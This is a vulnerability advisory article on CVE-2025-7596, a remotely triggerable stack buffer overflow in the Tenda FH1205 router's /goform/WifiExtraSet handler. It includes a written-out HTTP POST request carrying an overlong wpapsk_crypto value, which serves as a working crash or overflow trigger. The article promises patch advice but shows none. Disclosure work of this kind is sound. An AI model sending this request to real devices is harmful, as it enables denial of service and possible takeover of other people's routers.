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CVE-2025-7596: Critical Remote Buffer Overflow Vulnerability in Tenda FH1205

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Overview

A critical vulnerability, identified as CVE-2025-7596, has been discovered in Tenda FH1205 2.0.0.7(775). This vulnerability is significant due to its potential for remote exploitation and its high impact on system integrity and confidentiality. The vulnerability lies within the formWifiExtraSet function of the file /goform/WifiExtraSet, and it’s critical for affected organizations to understand its implications and apply the necessary patches or mitigations as soon as possible.

Vulnerability Summary

CVE ID: CVE-2025-7596
Severity: Critical (CVSS 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

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Product | Affected Versions

Tenda FH1205 | 2.0.0.7(775)

How the Exploit Works

The vulnerability is a stack-based buffer overflow that occurs due to improper manipulation of the wpapsk_crypto argument in the formWifiExtraSet function. An attacker can remotely send a specially crafted packet that contains an overly long argument to the function. When processed, this leads to a buffer overflow, allowing the attacker to overwrite critical memory locations, potentially leading to arbitrary code execution or crashing the system.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This example demonstrates a possible HTTP request that could be used to trigger the buffer overflow.
“`http
POST /goform/WifiExtraSet HTTP/1.1
Host: target.tenda.com
Content-Type: application/x-www-form-urlencoded
wpapsk_crypto=A1B2C3D4E5F6G7H8I9J0K1L2M3N4O5P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.
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